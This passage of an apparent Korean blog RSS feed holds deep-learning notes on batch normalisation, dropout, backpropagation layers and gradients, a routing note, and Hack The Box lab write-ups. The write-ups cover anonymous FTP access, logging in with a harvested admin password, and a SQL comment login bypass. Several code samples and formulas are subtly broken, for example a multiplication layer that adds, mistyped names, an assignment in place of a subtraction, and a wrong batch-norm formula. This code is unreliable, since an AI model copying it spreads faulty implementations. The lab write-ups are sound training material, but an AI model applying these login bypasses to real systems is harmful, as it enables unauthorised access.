<p>ReLU는 시그모이드 함수와 달리 좌우 대칭의 함수가 아니다. 따라서 이에 특화된 초깃값을 사용해야하는데 바로 <strong>He 초깃값</strong> 이다.
He 초깃값은 앞 계층의 노드가 $n$개인 경우, 표준편차가 $\sqrt\frac{2}{n}$인 정규분포를 사용한다. Xavier 초깃값보다 표준편차가 두 배인데, 음의 영역이 0이므로 더 넓은 분포를 위해 두 배의 계수를 사용한다고 이해하면 편하다.</p>
<h2 id="3-배치-정규화">3. 배치 정규화</h2>
<h3 id="31-배치-정규화-알고리즘">3.1 배치 정규화 알고리즘</h3>
<p>배치 정규화는 2015년에 제안된 방법으로 다음과 같은 이점을 가진다.</p>
<ul>
<li>학습 속도 개선</li>
<li>초깃값 의존성 감소</li>
<li>오버피팅 억제</li>
</ul>
<p>배치 정규화는 그 이름과 같이 학습 시 미니배치를 단위로 정규화한다. 구체적으로는 데이터 분포가 평균이 0, 분산이 1이 되도록 정규화 한다. 수식으로는 다음과 같이 표현할 수 있다.
$$
\mu \leftarrow \frac{1}{m}\sum\limits_{i=1}^m x_i
$$
$$
\sigma^2_B \leftarrow \frac{1}{m}\sum\limits_{i=1}^m (x_i-\mu_B)^2
$$
$$
\hat{x}_i \leftarrow \frac{(x_i-\mu_B)^2}{\sqrt {o^2_B+\epsilon}}
$$</p>
<p>배치 정규화 처리를 활성화 앞 혹은 뒤에 삽입 함으로써 데이터 분포가 덜 치우치게 할 수 있다. 또, 배치 정규화 계층마다 이 정규화된 데이터에 고유한 확대와 이동 변환을 수행한다. 수식으로는 다음과 같이 표현할 수 있다.
$$
y_i \leftarrow \gamma\hat{x}_i+\beta
$$</p>
<h2 id="4-가중치-감소-드롭아웃">4. 가중치 감소, 드롭아웃</h2>
<h3 id="41-오버피팅">4.1 오버피팅</h3>
<p>훈련 데이터에 치우쳐 적응하는 경우, 훈련 데이터의 정확성과 시험 데이터의 정확성 간의 괴리가 커진다. 이는 곧 범용성이 낮아짐을 의미한다. 따라서 반드시 이를 해결해야만 한다.</p>
<h3 id="42-가중치-감소">4.2 가중치 감소</h3>
<p>오래전부터 <strong>가중치 감소(weight decay)</strong> 는 오버피팅을 억제하기 위해 많이 사용되었다. 왜냐하면 오버피팅은 가중치 매개변수의 값이 커서 발생하는 경우가 많기 때문이다. 가중치 감소는 모든 가중치 각각의 손실 함수에 $\frac{1}{2} \lambda W^2$을 더하는 방식으로 이뤄지며 가중치의 기울기를 구하는 계산에서는 정규화 항을 미분한 $\lambda W$를 더한다.</p>
<h3 id="43-드롭아웃">4.3 드롭아웃</h3>
<p>신경망 모델이 복잡해지면 가중치 감소만으로는 대응하기 어려워진다. 이럴 때는 <strong>드롭아웃(Dropout)</strong> 이라는 기법을 이용한다. 드롭아웃은 뉴런을 임의로 삭제하면서 학습하는 방법으로 훈련을 할 때, 은닉층의 뉴런을 무작위로 골라 삭제한다. 파이썬으로는 다음과 같이 구현할 수 있다.</p>
<pre><code>class Dropout: 
    def __init__(self, dropout_ratio=0.5):
        self.dropout_ratio = dropout_ratio
        sel.mask = None

    def forward(self, x, train_flg=True):
        if train_flg:
            self.mask = np.random.rand(*x.shape) &gt; self.dropout_ratio
            return x * self.mask
        else:
            return x * (1.0 - self.dropout_ratio)

    def backward(self, dout):
        return dout * self.mask</code></pre><h2 id="5-하이퍼파라미터-탐색">5. 하이퍼파라미터 탐색</h2>
<h3 id="51-검증-데이터">5.1 검증 데이터</h3>
<p>하이퍼파라미터 또한 평가의 대상이 될 수 있다. 여기서 주의할 점은 하이퍼파라미터의 성능을 평가할 때, 시험 데이터를 사용해서는 안된다는 것이다. 왜냐하면 시험 데이터를 사용해서 하이퍼파라미터를 조정하면 하이퍼파라미터 값이 시험 데이터에 오버피팅되기 때문이다. 따라서 하이퍼파라미터 전용 확인 데이터가 필요하다. 이 조정용 데이터를 일반적으로 <strong>검증 데이터</strong>라고 부른다.
검증 데이터가 미리 분리되어 있는 경우도 있지만, 없는 경우에 가장 간단한 방법은 훈련 데이터 중 20% 정도를 검증 데이터로 먼저 분리하는 것이다.</p>
<h3 id="52-하이퍼파라미터-최적화">5.2 하이퍼파라미터 최적화</h3>
<p>하이퍼파라미터 최적화의 핵심은 최적 값이 존재하는 범위를 조금씩 줄여나가는 것이다. 일반적으로 범위는 &#39;로그 스케일&#39;로 지정한다. 그리고 검증 데이터로 정확도를 반복적으로 평가한 뒤, 결과를 보고 하이퍼파라미터의 범위를 좁힌다. 그리고 이 과정을 반복적으로 수행하고 최종 하이퍼파라미터 값을 하나 선택한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[딥러닝] 오차역전파법]]></title>
            <link>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EC%98%A4%EC%B0%A8%EC%97%AD%EC%A0%84%ED%8C%8C%EB%B2%95</link>
            <guid>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EC%98%A4%EC%B0%A8%EC%97%AD%EC%A0%84%ED%8C%8C%EB%B2%95</guid>
            <pubDate>Wed, 20 Nov 2024 02:53:45 GMT</pubDate>
            <description><![CDATA[<h2 id="0-서론">0. 서론</h2>
<p>수치 미분을 통한 기울기 산출은 단순하지만, 계산 시간이 오래 걸린다. 하지만 <strong>오차역전파법(backpropagation)</strong> 을 통해 기울기를 효율적으로 계산할 수 있다.</p>
<h2 id="1-연쇄법칙">1. 연쇄법칙</h2>
<p> 오차역전파법을 이해하기 위해서는 <strong>연쇄법칙</strong>을 이해해야한다. 먼저 <strong>합성함수</strong>의 미분에 대한 중요한 성질 하나를 짚고 넘어가도록 하자.</p>
<blockquote>
<p>합성함수의 미분은 합성 함수를 구성하는 각 함수의 미분의 곱으로 나타낼 수 있다.</p>
</blockquote>
<p>[예시1] 
$$
z = t^2\
t = x+y
$$</p>
<p>$$
\frac{\partial z}{\partial x} = \frac{\partial z}{\partial t}\frac{\partial t}{\partial x}
$$</p>
<h2 id="2-오차역전파">2. 오차역전파</h2>
<h3 id="21-덧셈-노드의-역전파">2.1 덧셈 노드의 역전파</h3>
<p>$t = x+y$ 를 대상으로 그 역전파를 살펴보도록 하자. 해당 식의 미분은 $\frac{\partial t}{\partial x} =1$과$\frac{\partial t}{\partial y}=1$ 과 같이 해석적으로 계산될 수 있다. 이는 상류에서 전해진 미분에 1을 곱하여 그대로 하류로 내보낸다는 뜻이다.</p>
<h3 id="22-곱셈-노드의-역전파">2.2 곱셈 노드의 역전파</h3>
<p>$z=xy$의 미분은  다음과 같다.
$$
\frac{\partial z}{\partial x} = y 
$$
$$
\frac{\partial z}{\partial y} = x 
$$
즉 곱셈 노드의 역전파는 상류의 값에 순전파 입력 신호를 서로 바꾼 값을 곱해서 하류로 보낸다.</p>
<h2 id="3-구현">3. 구현</h2>
<h3 id="31-곱셈-계층">3.1 곱셈 계층</h3>
<pre><code>class MulLayer:
    def __init__(self):
        self.x = None
        self.y = None

    def forward(self, x, y):
        self.x = x
        self.y = y
        out = x + y

        return out

    def backward(self, dout):
        dx = dout * self.y
        dy = dout * self.x

        return dx, dy</code></pre><h3 id="32-덧셈-계층">3.2 덧셈 계층</h3>
<pre><code> class AddLayer:
     def __init__(self):
        pass # 덧셈 계층에서는 초기화가 필요 없음

    def forward(self, x, y):
        out = x + y
        return out

    def backward(self, dout):
        dx = dout * 1
        dy = dout * 1
        return dx, dy</code></pre><h2 id="4-활성화-함수-계층-구현">4. 활성화 함수 계층 구현</h2>
<h3 id="41-relu-계층">4.1 ReLU 계층</h3>
<p> ReLU는 수식으로 다음과 같이 살펴볼 수 있다.
 $$
 y =
 \begin{cases}
 x,(x&gt;0)\
 0,(x\leq 0)
 \end{cases}
 $$</p>
<p> $$
 \frac{\partial y}{\partial x} =
 \begin{cases}
 1,(x&gt;0)\
 0,(x\leq 0)
 \end{cases}
 $$</p>
<p> 파이썬으로 구현한 예시는 다음과 같다.</p>
<pre><code> class ReLU:
     def __init__(self):
        self.mask = None

    def forward(self, x):
        self.mask = (x&lt;0)
        out = x.copy()
        out[self.mask] = 0

        return out

    def backward(self, dout):
        dout[self.mask] = 0
        dx = dout

        return dx</code></pre><h3 id="42-sigmoid-계층">4.2 sigmoid 계층</h3>
<p> sigmoid 수식은 다음과 같다.
 $$
 y = \frac{1}{1+exp(-x)}
 $$</p>
<p> 이를 미분해보도록 하자</p>
<p> $$
 y = \frac{1}{t}\
 \frac{\partial y}{\partial t} = -\frac{1}{t^2} = -y^2
 $$
 $1+exp(x)$는 덧셈이므로 바로$exp(x)$를 미분해보자
 $$
 t =exp(x)\
  \frac{\partial t}{\partial x}  = exp(x)
 $$
 그리고 $x$에 -1을 곱하므로 역전파를 전할 때 -1을 곱하면 된다.</p>
<p> 상류에서 온 값을 $\frac{\partial L}{\partial y}$라 할 때 sigmoid 계층의 역전파는 다음과 같이 정리가 가능하다.
 $$
 \frac{\partial L}{\partial y} <em>(-y^2)*exp(-x)</em>(-1) =\frac{\partial L}{\partial y}y^2exp(-x) = \frac{\partial L}{\partial y}\frac{1}{(1+exp(-x))^2}exp(-x)
 $$
 $$
 =\frac{\partial L}{\partial y}\frac{1}{(1+exp(-x))}\frac{exp(-x)}{1+exp(-x)} =  \frac{\partial L}{\partial y}y(1-y)
 $$</p>
<p> 파이썬으로는 다음과 같이 구현 가능하다.</p>
<pre><code> class sigmoid:
     def __init__(self):
        self.out = None

    def forward(self, x):
        out =  1 / (1 + np.exp(-x))
        self.out = out

        return out

    def backward(self, dout):
        dx = dout * (1 - self.out) * self.out

        return dx
</code></pre><h2 id="5-affinesoftmax-계층-구현">5. Affine/Softmax 계층 구현</h2>
<h3 id="51-affine-계층">5.1 Affine 계층</h3>
<p> $Y = XW$ 라 할 때, 역전파 수식은 다음과 같이 나타낼 수 있다.
 $$
 \frac{\partial L}{\partial X} = \frac{\partial L}{\partial Y}W^T
 $$
 $$
 \frac{\partial L}{\partial W} = X^T\frac{\partial L}{\partial Y}
 $$
 $\frac{\partial L}{\partial W}$와 $W$, 그리고 $\frac{\partial L}{\partial X}$와 $X$의 형상은 서로 같음에 주의해야 한다.</p>
<p> 편향 덧셈은 $XW$에 대한 편향이 각 데이터에 더해진다. 그러므로 각 데이터의 역전파 값은 편향의 원소에 모여야한다.</p>
<p> 파이썬 구현은 다음과 같다.</p>
<pre><code> class Affine:
     def __init__(self, W, b):
        self.W = W
        self.b = b
        self.x = None
        self.dW = None
        self.db = None

    def forward(self, x):
        self.x = x
        out = np.dot(x, self.W) + self.b

        return out

    def backward(self, dout):
        dx = np.dot(dout, self.W.T)
        self.dW = np.dot(self.x.T, dout)
        self.db = np.sum(dout, axis=0)

        return dx</code></pre><h3 id="52-softmax-with-loss-계층">5.2 Softmax-with-Loss 계층</h3>
<p> 여기에서는 소프트맥스 계층 구현시, 손실 함수인 교차 엔트로피 오차도 포함하여 구현한다. 역전파를 구하는 과정은 매우 복잡하여 여기서는 생략하고, 추후에 다뤄보도록 하겠다. $(y_1,y_2,y_3,...,y_n)$에 대한 역전파는 $(y_1-t_1, y_2-t_2, y_3-t_3, ..., y_n-t_n)$으로 <em>비교적 깔끔하게 결과가 나온다.</em>
 이렇게 깔끔한 결과가 나오는 것은 설계부터가 이를 목적으로 했기 때문이다. 항등 함수의 손실 함수로 오차제곱합을 이용하는 이유도 이와 같다. 이 때에도 역전파의 결과가 같다.</p>
<p> Softmax-with-Loss 계층을 구현한 코드는 다음과 같다.</p>
<pre><code> class SoftmaxWithLoss:
     def __init__(self):
        self.loss = None
        self.y = None
        self.t = None

    def forward(self, x, t):
        self.t = t
        self.y = softmax(x)
        self.loss = cross_entropy_error(self.y, t)
        return self.loss

    def backward(self, dout = 1)
        batch_size = self.t.shape[0]
        dx = (self.y - self.t)/batch_size</code></pre><h2 id="6-오차역전파법-구현">6. 오차역전파법 구현</h2>
<p>상세한 구현 코드는 <a href="https://github.com/WegraLee/deep-learning-from-scratch">여기</a>를 참고할 것.
핵심은 <code>TwoLayerNet</code> 클래스 정의시, <code>layers</code> 인스턴스를 <code>OrderedDict</code>, 순서가 있는 딕셔너리로 구현한다는 것이다. 그리고 역전파를 구할 때, 이 인스턴스를 <code>reverse()</code>하여 <code>backward(dout)</code> 메서드를 반복적으로 수행한다.
이렇게 구한 기울기는 반드시 수치 미분으로 구현한 기울기와 일치하는지 검증해야한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB]
Starting Point: Crocodile]]></title>
            <link>https://velog.io/@chris-mk/HTBStarting-Point-Crocodile</link>
            <guid>https://velog.io/@chris-mk/HTBStarting-Point-Crocodile</guid>
            <pubDate>Mon, 18 Nov 2024 04:51:08 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: What Nmap scanning switch employs the use of default scripts during a scan?
A: -sC</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/f886d939-d266-4a33-8cc0-c3c2e329600d/image.png" alt=""></p>
<p><strong>Task2</strong>
Q: What service version is found to be running on port 21?
A: vsftpd 3.0.3</p>
<p><strong>Task3</strong> 
Q: What FTP code is returned to us for the &quot;Anonymous FTP login allowed&quot; message?
A: 230</p>
<p><strong>Task4</strong>
Q: After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?
A: Anonymous</p>
<p><strong>Task5</strong>
Q: After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?
A: get</p>
<p><strong>Task6</strong>
Q: What version of Apache HTTP Server is running on the target host?
A: Apache httpd 2.4.41</p>
<p><strong>Task7</strong>
Q: What switch can we use with Gobuster to specify we are looking for specific filetypes?
A: -x</p>
<p><strong>Task8</strong>
Q: Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?
A: login.php</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/4e1ba6ba-e6f1-4eff-a6b4-33ff7b1afbd9/image.png" alt=""></p>
<p>Okay, I accessed to <code>{Target IP}/login.php</code>, and found login page.</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/1107df58-1f1f-40b7-8a2d-b6a72a15e19e/image.png" alt=""></p>
<p>Nmap Scanning result showed me a ftp server&#39;s file list. Also, I can log in Anonymous account.
<img src="https://velog.velcdn.com/images/chris-mk/post/338105a8-2470-429b-89ae-4423a8300038/image.png" alt=""></p>
<p>I got <code>allowed.userlist</code> and <code>allowed.userlist.passwd</code></p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/633e89e1-7d54-4352-a82a-84a21f90d7d4/image.png" alt=""></p>
<p>4th&#39;s username and password look very suspicious.. 
I used <code>admin</code> account and got a flag.</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/cb021e6d-910c-46e6-a83e-29def6a864d9/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/aac4f6da-bf53-4e28-b58d-b92b24d6d30f/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Starting Point: Appointment]]></title>
            <link>https://velog.io/@chris-mk/HTB-Starting-Point-Appointment</link>
            <guid>https://velog.io/@chris-mk/HTB-Starting-Point-Appointment</guid>
            <pubDate>Mon, 18 Nov 2024 04:21:21 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: What does the acronym SQL stand for?
A: Structured Query Language</p>
<p><strong>Task2</strong>
Q: What is one of the most common type of SQL vulnerabilities?
A: SQL Injection</p>
<p><strong>Task3</strong>
Q: What is one of the most common type of SQL vulnerabilities?
A: A03:2021-Injection</p>
<p><strong>Task4</strong>
Q: What does Nmap report as the service and version that are running on port 80 of the target?
A:Apache httpd 2.4.38 ((Debian))</p>
<p><strong>Task5</strong>
Q: What is the standard port used for the HTTPS protocol?
A: 443</p>
<p><strong>Task6</strong>
Q: What is a folder called in web-application terminology?
A: directory</p>
<p><strong>Task7</strong>
Q: What is the HTTP response code is given for &#39;Not Found&#39; errors?
A: 404</p>
<p><strong>Task8</strong>
Q: Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we&#39;re looking to discover directories, and not subdomains?
A: dir</p>
<p><strong>Task9</strong>
Q: What single character can be used to comment out the rest of a line in MySQL?
A:#</p>
<p><strong>Task10</strong>
Q: If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?
A: Congratulations</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[딥러닝] 신경망 학습]]></title>
            <link>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EC%8B%A0%EA%B2%BD%EB%A7%9D-%ED%95%99%EC%8A%B5</link>
            <guid>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EC%8B%A0%EA%B2%BD%EB%A7%9D-%ED%95%99%EC%8A%B5</guid>
            <pubDate>Fri, 15 Nov 2024 07:55:34 GMT</pubDate>
            <description><![CDATA[<h2 id="0-서론">0. 서론</h2>
<p><strong>학습</strong> 이란 훈련 데이터로부터 가중치 매개변수의 최적값을 자동으로 획득하는 것을 뜻한다.</p>
<h2 id="1-데이터-학습">1. 데이터 학습</h2>
<h3 id="11-데이터-주도-학습">1.1 데이터 주도 학습</h3>
<p>이미지 인식과 관련하여, 이미지의 <strong>특징</strong>을 추출하고 그 특징의 기계학습 기술로 학습하는 방법이 있다. 여기서 <strong>특징</strong>은 이미지에서 본질적인 데이터를 정확하게 추출할 수 있도록 설계된 변환기를 가리킨다. 일반적으로 이미지의 특징은 벡터로 기술되며, SIFT, SURF, HOG등의 특징을 많이 사용한다. 이렇게 변환된 벡터를 가지고 SVM, KNN 등으로 학습할 수 있다.
반면 신경망(딥러닝)은 이미지를 &#39;있는 그대로&#39; 학습한다. 여기서는 사람의 개입이 전혀 없다.</p>
<h3 id="12-훈련-데이터와-시험-데이터">1.2 훈련 데이터와 시험 데이터</h3>
<p>우리가 원하는 모델은 범용적으로 사용할 수 있는 모델이므로, 범용 능력을 제대로 평가하기 위해 훈련 데이터와 시험 데이터를 분리해야한다.
<strong>범용 능력</strong> 이란 아직 훈련하지 않은 데이터로도 문제를 올바르게 해결하는 능력이다. 즉 처음 보는 수학문제를 풀 수 있는 것이다. 이것이 다양한 데이터셋을 필요로 하는 이유가되는데, 특정 데이터셋에만 지나치게 최적화 된 상태를 <strong>오버피팅(overfitting)</strong> 이라고 한다.</p>
<h2 id="2-손실-함수">2. 손실 함수</h2>
<p>신경망은 최적의 매개변수 값을 탐색하기 위해 <strong>손실 함수(loss fuction)</strong> 을 사용한다. 일반적으로 오차제곱합과 교차 엔트로피 오차를 손실 함수로 사용한다.</p>
<h3 id="21-오차제곱합">2.1 오차제곱합</h3>
<p><strong>오차제곱합(sum of squares for error, SSE)</strong> 은 가장 많이 쓰이는 손실 함수다.
$$
E = \frac{1}{2}\sum\limits_{k}(y_k-t_k)^2
$$</p>
<table>
<thead>
<tr>
<th>수식</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>$y_k$</td>
<td>신경망의 출력</td>
</tr>
<tr>
<td>$t_k$</td>
<td>정탑 레이블</td>
</tr>
<tr>
<td>$k$</td>
<td>데이터의 차원 수</td>
</tr>
</tbody></table>
<p>오차 제곱을 구하는 파이썬으로 다음과 같이 구현할 수 있다.</p>
<pre><code>def sum_squares_error(y, t):
    return 0.5 * np.sum((y-t)**2)</code></pre><p>따라서 소프트 맥스 함수의 출력과 정답 레이블을 오차제곱합 손실함수에 전달했을때, 가장 높은 확률을 가진 클래스가 정답인 경우에 손실함수는 가장 작은 값을 반환하게 된다.</p>
<h3 id="22-교차-엔트로피-오차">2.2 교차 엔트로피 오차</h3>
<p>또다른 손실함수로 <strong>교차 엔트로피 오차(cross entropy error)</strong> 가 있다.
$$
E = -\sum\limits_{k}t_klogy_k
$$</p>
<p>$t_k$가 정답 외에는 0의 값을 가지고 자연로그 함수의 형태를 고려 했을 때, 소프트 맥스 함수 출력 값이 가장 높은 클래스가 정답일 경우 오차($E$)는 점점 작아진다.
교차 엔트로피 오차를 파이썬으로 다음과 같이 구현할 수 있다.</p>
<pre><code>def cross_entropy_error(y,t):
    return -np.sum(t * np.log(y + delta)) # delta는 log 0이 마이너스 무한대로 수렴하는 것을 방지해준다. </code></pre><h3 id="23-미니배치-학습">2.3 미니배치 학습</h3>
<p>N개의 데이터에 대한 교차 엔트로피 오차는 다음과 같다.
$$
E = -\frac{1}{N}\sum\limits_{n}\sum\limits_{k}t_klogy_k
$$</p>
<p>여기서는 $N$으로 나누어 정규화를 수행하고, 평균 손실 함수를 구한다. 많은 데이터를 대상으로 손실함수를 일일이 계산하는 것은 현실적인 한계에 부딪히게 된다. 따라서 데이터 일부를 전체의 &#39;근사치&#39;로 이용한다. 그 일부가 바로 <strong>미니배치</strong> 다.</p>
<h3 id="24-손실-함수를-설정하는-이유">2.4 손실 함수를 설정하는 이유</h3>
<p>정확도를 지표로 삼는 경우 매개변수의 미분이 대부분의 자소에서 0이 되기 때문에, 손실함수를 설정하는 것이다.</p>
<h2 id="3-수치-미분">3. 수치 미분</h2>
<h3 id="31-미분">3.1 미분</h3>
<p>수치 미분을 구현하고자 하는 경우 매우 작은 수에서 반올림 오차가 발생하는 한계에 부딪힌다. 따라서 <strong>중심 차분</strong> 혹은 <strong>중앙 차분</strong>의 개념을 활용하여 수치 미분을 구현한다.</p>
<pre><code>def numerical_diff(f, x):
    h = 1e-4
    return(f(x+h) - f(x-h))/(2*h)</code></pre><h3 id="32-편미분">3.2 편미분</h3>
<p>편미분은 다음과 같이 나타낸다.
$$
\frac{\partial f}{\partial x_0}, \frac{\partial f}{\partial x_1}, ...
$$</p>
<h2 id="4-기울기">4. 기울기</h2>
<p>$(\frac{\partial f}{\partial x_0}, \frac{\partial f}{\partial x_1})$ 처럼 모든 변수의 편미분을 벡터로 정리한 것을 <strong>기울기(gradient)</strong> 라고 한다.</p>
<pre><code>def numerical_gradient(f,x):
    h = 1e-4
    grad = np.zeros_like(x)

    for idx in range(x.size):
        tmp_val = x[idx]

        x[idx] = tmp_val + h
        fxh1 = f(x)

        x[idx] = tmp_cal - h
        fxh2 = f(x)

        grad[idx] = (fxh1 = fxh2) / (2*h)
        x[idx] = tmp_val

    return grad</code></pre><h3 id="41-경사법">4.1 경사법</h3>
<p>경사법은 수식으로 다음과 같이 나타난다.
$$
x_0 = x_0 -<br>η\frac{\partial f}{\partial x_0}\
x_1 = x_1 -<br>η\frac{\partial f}{\partial x_1}
$$</p>
<p>여기서  η은 학습률을 의미한다.</p>
<pre><code>def gradient_descent(f, init_x, lr=0.01, step_num=100):
    x = init_x

    for i in range(step_num)
        grad = numerical_gradient(f, x)
        x -= lr * grad
    return x</code></pre><p>신경망에서 이를 구현하면 가중치 W를 조금씩 조정할 수 있다. 행렬 $W$, 손실함수 $L$인 신경망을 가정했을때, 경사는 $\frac{\partial L}{\partial W}$로 나타난다. $W$의 각 원소에 대해 편미분을 수행하므로 당연히 $\frac{\partial L}{\partial W}$의 형상은 $W$의 형상과 동일하다.</p>
<h2 id="5-학습-알고리즘-구현">5. 학습 알고리즘 구현</h2>
<p> 신경망에는 적응 가능한 가중치와 편향이 있고, 이 가중치와 편향을 훈련 데이터에 적응하도록 조정하는 과정을 &#39;학습&#39;이라고 한다. 신경망 학습은 다음과 같이 4 단계로 수행한다.</p>
<p>1단계: 미니배치
2단계: 기울기 산출
3단계: 매개변수 갱신
4단계: 반복</p>
<blockquote>
<p><strong>에폭(epoch)</strong> 은 하나의 단위다. 1에폭은 학습에서 훈련 데이터를 모두 소진했을 떄의 횟수에 해당한다. 예를 들어 훈련 데이터 60,000개를 100개의 미니 배치로 학습할 경우, 확률적 경사 하강법을 600회 반복하면 모든 훈련 데이터를 &#39;소진&#39;한 게 된다. 이 경우 600회가 1에폭이 된다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Mongod]]></title>
            <link>https://velog.io/@chris-mk/HTB-Mongod</link>
            <guid>https://velog.io/@chris-mk/HTB-Mongod</guid>
            <pubDate>Fri, 15 Nov 2024 07:32:25 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: How many TCP ports are open on the machine?
A: 2
<img src="https://velog.velcdn.com/images/chris-mk/post/498c142b-c036-45fc-b014-6a913e05cd9b/image.png" alt="">
<img src="https://velog.velcdn.com/images/chris-mk/post/614b498a-f749-43cb-8f52-6d3e5aa277d2/image.png" alt=""></p>
<p><strong>Task2</strong>
Q: Which service is running on port 27017 of the remote host?
A: MongoDB 3.6.8</p>
<p><strong>Task3</strong>
Q:What type of database is MongoDB? (Choose: SQL or NoSQL)
A: NoSQL</p>
<p><strong>Task4</strong>
Q: What is the command name for the Mongo shell that is installed with the mongodb-clients package?
A: mongosh</p>
<p><strong>Task5</strong>
Q: What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)
A: </p>
<p><strong>Task6</strong>
Q: What is the command used for listing out the collections in a database? (No need to include a trailing ;)
A: show collecitons</p>
<p><strong>Task7</strong>
Q: What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read?
A: db.flag.find().pretty()</p>
<h2 id="2-mongodb">2. MongoDB</h2>
<p><a href="https://www.mongodb.com/ko-kr">Document</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Starting Point: Preignition]]></title>
            <link>https://velog.io/@chris-mk/HTB-Starting-Point-Preignition</link>
            <guid>https://velog.io/@chris-mk/HTB-Starting-Point-Preignition</guid>
            <pubDate>Fri, 15 Nov 2024 07:25:42 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: Directory Brute-forcing is a technique used to check a lot of paths on a web server to find hidden pages. Which is another name for this? (i) Local File Inclusion, (ii) dir busting, (iii) hash cracking.
A: dir busting</p>
<p><strong>Task2</strong>
Q: What switch do we use for nmap&#39;s scan to specify that we want to perform version detection
A: -sV</p>
<p><strong>Task3</strong>
Q: What does Nmap report is the service identified as running on port 80/tcp?
A:http
<img src="https://velog.velcdn.com/images/chris-mk/post/1ffa2983-5239-4a1a-a6c8-48bccfe99228/image.png" alt=""></p>
<p><strong>Task4</strong>
Q: What server name and version of service is running on port 80/tcp?
A: nginx 1.14.2</p>
<p><strong>Task5</strong>
Q: What switch do we use to specify to Gobuster we want to perform dir busting specifically?
A: dir
<img src="https://velog.velcdn.com/images/chris-mk/post/f1b53216-0344-4af9-a561-70df6e3cfa0e/image.png" alt=""></p>
<p><strong>Task6</strong>
Q: When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages?
A:-x php</p>
<p><a href="https://hackertarget.com/gobuster-tutorial/">Basic Guide</a>
<a href="https://github.com/digination/dirbuster-ng/tree/master">dirbuster list data</a></p>
<p><strong>Task7</strong>
Q: What page is found during our dir busting activities?
A: admin.php
<img src="https://velog.velcdn.com/images/chris-mk/post/80fcef7b-adb8-4779-9721-3e9329471a47/image.png" alt=""></p>
<p><strong>Task8</strong>
Q: What is the HTTP status code reported by Gobuster for the discovered page?
A: 200</p>
<p><a href="https://github.com/alibaba/nginx-admin-plus/blob/master/docs/nginx-admin-plus-manual.md">https://github.com/alibaba/nginx-admin-plus/blob/master/docs/nginx-admin-plus-manual.md</a></p>
<p>ngnix&#39;s default <code>id/password</code> is  <code>admin/admin</code></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[네트워크] 네트워크 계층: 제어 평면]]></title>
            <link>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B3%84%EC%B8%B5-%EC%A0%9C%EC%96%B4-%ED%8F%89%EB%A9%B4</link>
            <guid>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B3%84%EC%B8%B5-%EC%A0%9C%EC%96%B4-%ED%8F%89%EB%A9%B4</guid>
            <pubDate>Fri, 15 Nov 2024 01:16:18 GMT</pubDate>
            <description><![CDATA[<h2 id="1-라우팅-알고리즘">1. 라우팅 알고리즘</h2>
<p>라우팅 알고리즘을 분류하는 첫 번째 방식은 다음과 같다.</p>
<ul>
<li>중앙 집중형 라우팅 알고리즘(centralized routing algotrithm)</li>
<li>분산 라우팅 알고리즘(decentralized routing algorithm)</li>
</ul>
<p>라우팅 알고리즘을 분류하는 두 번째 방식은 다음과 같다.</p>
<ul>
<li>정적 라우팅 알고리즘(static routing algorithm)</li>
<li>종적 라우팅 알고리즘(dynamic routing algorithm)</li>
</ul>
<p>세 번째 방식은 부하에 민감한지 아닌지에 따른다.</p>
<h3 id="11-링크-상태ls-라우팅-알고리즘">1.1 링크 상태(LS) 라우팅 알고리즘</h3>
<p>링크 상태 알고리즘에서는 네트워크 토폴로지와 모든 링크 비용이 알려져 있어서 링크 상태 알고리즘의 입력값으로 사용될 수 있다. 대표적인 알고리즘이 바로 <strong>다익스트라 알고리즘(Dijkstra&#39;s algorithm)</strong> 이다. 
다익스트라 알고리즘은 k번째 반복 이후에 k개의 목적지 노드에 대해 최소 비용 경로가 알려지며 이 k개의 경로는 모든 목적지 노드로의 최소 비용 경로 중에서 가장 낮은 비용을 갖는 k개의 경로다. </p>
<h3 id="12-거리-벡터dv-라우팅-알고리즘">1.2 거리 벡터(DV) 라우팅 알고리즘</h3>
<p>거리 벡터 알고리즘은 반복적이고 비동기적이며 분산적이다. 거리 벡터 알고리즘을 통한 최소 비용 경로의 비용은 <strong>벨만-포드(Bellman-Ford)</strong> 식에 의해 다음처럼 나타낼 수 있다.</p>
<p>$$
